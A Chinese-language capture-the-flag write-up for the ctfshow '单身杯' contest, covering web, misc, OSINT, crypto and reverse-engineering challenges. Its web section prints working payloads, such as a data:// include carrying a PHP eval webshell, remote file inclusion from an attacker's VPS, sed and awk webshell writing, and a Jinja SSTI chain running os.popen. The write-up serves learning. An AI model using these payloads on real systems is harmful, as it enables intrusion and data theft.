目录
<1> web
(1)签到(data协议)
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
strrev 就是翻转字符串,这道题就要保证传入的file字符串反转一样。 同时include file
可以使用data协议,因为data协议php标记?>闭合后可以加任意字符不会影响。
file=data://text/plain,<?php eval($_POST['shell']); ?>>? ;)]'llehs'[TSOP_$(lave php?<,nialp/txet//:atad&shell=system('ls /');
发现 f1agaaa cat/f1agaaa 得到flag
ctfshow 单身杯(dsb)_nomv的博客-CSDN博客
除了这个解,看nomv师傅博客可知,这道题还存在远程文件包含
python3 -m http.server 81 开放一个81端口
file=http://vps:ip/1.php?id==di?php.1/pi:spv//:ptth
1.php内容写入我们要执行的php代码
<?php
//echo system("ls /");
echo sysetm("cat /f1agaaa");
?>
注意一定要跟个?否则由于逆序无法包含
发现flag文件为 f1agaaa 更改1.php为 cat /f1agaaa 得到flag
(2) easyPHP(awk执行命令)
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
shell_exec($cmd);
}
escapeshellcmd 和 escapeshellarg 函数
预期解是:cmd=sed¶m=/php\|POST\|exec/!dw1.php 生成1.php
sed '/php\|POST\|exec/!dw1.php'
然后 /1.php 传入 cmd=echo "<?php eval(\$_POST[1]);?>">2.php
写入木马文件到 2.php里 然后我们访问2.php
ls /发现了flag文件
非预期解:awk执行系统命令
就是将执行的命令语句输入到文件中并执行。因为是没有回显的,所以可以写入文件里,然后访问查看
写入ls />a命令到a文件 cmd=awk¶m=BEGIN {system("ls />a")}
之后访问/a 下载下来a文件,发现flag文件 f1agaaa
之后写入 cat /f1agaaa 命令到a文件再次访问/a 下载a文件打开即可获得flag
(3) 姻缘测试(ssti)
在源码中发现了/source
访问得到了源码:
def is_hacker(string):
"""整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""
if "{" in string and "}" in string :
return True
else:
return False
这里是用and判断的,我们可以分开写入 { 和 }
?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('ls /').read()}}
发现flag.txt
?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat /flag.txt').read()}}
(4) blog
搞不明白,水平还不够,欠着。。。
<2> Misc
(1)misc签到
提示:
- 压缩包密码是5位字符
- lsb有内容
- flag包含5个空格、2个逗号,均替换为下划线,连续只留1个下划线
根据提示爆破出密码:61f@X
解压后得到一张 jpg文件 文件末尾发现一大堆base64编码
解码后得到:PNG什么什么 肯定是一张png图片 我们再用base64转图片
补全二维码定位角,扫码。。。什么都没有 后来得知要将二维码反色后补全就能得到一半flag。
原话:与正常的二维码对比一下,会发现这个的黑白区域好像反了 。 emmm我还需要多练
用Stegsolve转换一下 然后再补上定位码
hex解码得到后半段flag:lue, far exceeds your belief}
提示说有lsb,把图片丢进zsteg一把梭后得到前半段flag
记得加 -a 不然显示nothing :(
最终flag为:ctfshow{Your_potential_value_far_exceeds_your_belief}
(2) 没大没小的串串
打乱了大小写的flag是 y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns
其中正确的flag的md5是 7513209051f455fa44d0fa5cd0f3e051
python爆破
# Leetcode784 字母大小全排列
import hashlib
def letterCasePermutation(s):
result = []
lens = len(s)
if s == '':
return result
def dfs(currs, idx):
if idx == lens:
result.append(currs)
return
if s[idx] >= 'a' and s[idx] <= 'z':
dfs(currs + s[idx], idx + 1)
dfs(currs + s[idx].upper(), idx + 1)
elif s[idx] >= 'A' and s[idx] <= 'Z':
dfs(currs + s[idx], idx + 1)
dfs(currs + s[idx].lower(), idx + 1)
else:
dfs(currs + s[idx], idx + 1)
dfs('', 0)
return result
s="y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns"
a=letterCasePermutation(s)
for i in a:
if hashlib.md5(i.encode('utf-8')).hexdigest()=="7513209051f455fa44d0fa5cd0f3e051":
print("find it:",i)
break
后面的题看了wp也不知原理,emmm脑洞不够,便不再复现了
<3>osint部分
(1) 任性老板
flag形式为:ctfshow{店名_店家手机号} 下载题目附件得到以下图片
解压之后我们得到了一张面馆的广告图。我们要根据这张图片溯源到店家名称及手机号。
感觉有一点社工题目的韵味了。
我们通过百度识图,在类似图片里得到了这张图片下面的内容。
我们百度搜索一下相关信息:
通过视频得知:这个店名应该就是:左撇子私房面
通过百度地图得知店家手机号为:15882424927
所以flag为:ctfshow{左撇子私房面_15882424927}
(2) 蛤壳雪茄-1
题目描述:
这张照片是在22年第一季度-第二季度之间拍的,请找出这家飞机的所属公司的官网地址。
例:ctfshow{www.mumuzi.com}
附件是一个飞机图片:
这次百度识图识别出一堆奇奇怪怪的玩意,用不得了。。。
yandex识图网上都说很不错:Yandex Images: search for images online or search by image
果然,识别出这个飞机部位应该是波音737 -200 飞机的某个部位,但是看他们的图片是白色的
我们谷歌搜索 black color Boeing737-200
所以这个飞机所属航空公司的官网为: Vols nolisés - Canada et États-Unis | Chrono Aviation
flag:ctfshow{www.chronoaviation.com}
<4> Crypto
(1) The Dancing Men
如题,舞动的小人
来自夏洛克福尔摩斯在《归来记》中侦探案件使用的一种加密方式
BUUCTF-Crypto-猪圈密码及其变种+银河密码+跳舞的小人_ASSOINT的博客-CSDN博客_银河密码
百度搜索得到了对应的解密图
please use underslash between every word with initials in capitals the flag is everyone loves taoshen
所以flag为:ctfshow{Everyone_Loves_Taoshen}
(2) base(对base进行栅栏的密文解密)
The flag is:YhNgZRO0Zc3vDxTjW5m4RdQZINYZUOm3wS0j2m5TcsM1LUYYOF23jjTtiyT9
ctfshow的base64编码是:Y3Rmc2hvdw==
栅栏密码栏数应该是6
所以base64编码为:Y3Rmc2hvd3s3NDQwMjgxZS1jZTI0LTRjNjUtOWY2Yi05ZmYyZmU5OTc4OTF9
解密得到flag
(3) 伪装成RSA的MUSC
解压后得到一个压缩包和一段文本:
.. .. ... . . .. ... .. .. ... . . .. ... .. .. . . ... . . ...
对照敲击码表得出 22 31 12 32 23 11 23 22 11 31 13 即GLBMHAHGALC
对应提示:nnkyiee是什么意思呢? 九键
得到:45264244252 即压缩包密码
得到了 p、q、c 但是e呢?
再看文本名称:套!都能套!
点阵可以转换为摩斯电码,1个.是.,两个是-三个是空格
-- ..- -- ..- --.. ..
mumuzi 再次九键转为数字
686894 得到了e
RSA e 不互素考点
import gmpy2
from Crypto.Util.number import *
# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
print(m)
msg = gmpy2.iroot(m, t)
print(msg)
if msg[1]:
print(long_to_bytes(msg[0]))
p= 104791011181838632984653274103788907544368791187076335471213944302284807790748266682463882231027996693193572906324997830449026622973759383503770415564182978292591648950046318334646695444450310198889173256818225657021740635305655975465047235964535452899499225672868835617089387862240683251385991237767922785241
q= 90960275501044744928190829668121052091907954961680699856419749850071871964532625791461291878837850007468243999602408861075793822642812918261908705981765163097854558645253227202861087920836248185116835897960441132756288108873425215132591817120886993422056486860736156966942973556049071468967279588398766107387
e= 686894
c= 4760904535528937856481690262397732355407727622511444072793643008141049985355461179480947416206998527526080939575085820881304511476110146502666062305981955205407338190002810791950980724498999422997162030791074913110508848669455374727003737734373054800682699103953435264256125566100583042576647316240024759470816653960355845811060204737625557855881058175018971502763224693108395514674517119000539255761180454879538780379694450171070008832544248927030602002726819086629963953652235265972324121785879653123472819473679133833118153759368617324927859670207154545276222169571548729874270877516947380905110040442091750015568
decrypt(p, q, e, c)
<5> re
(1) re签到(base64代码)
下载的文件拖入到IDA64中,F5调出代码
发现函数是经过三次be()函数之后,与一段base编码进行比较,是的话就会输出password
据说是base64编码函数,我还真没看明白....没研究过
不过猜测也应该差不多,我们之间反推,对strcmp函数处的字符串base64解码三次
得到ctfshow{dsb_re_sign_in_hsssssssss}
(2) magic
题目描述:3个密码只有1个是正确的
下载好附件我们拖入IDA中
查看main函数
发现是输入一个整数,然后作为参数调用checkToken函数,我们跟进查看checkToken函数
发现要同时满足checkSum,p,h 函数都返回true。
checkSum函数:
h函数:
p函数:
所以 该整数要满足的条件为:
1. 各位的数字加起来等于58
2. 是回文数
3. 是质数
ctfshow{9888889}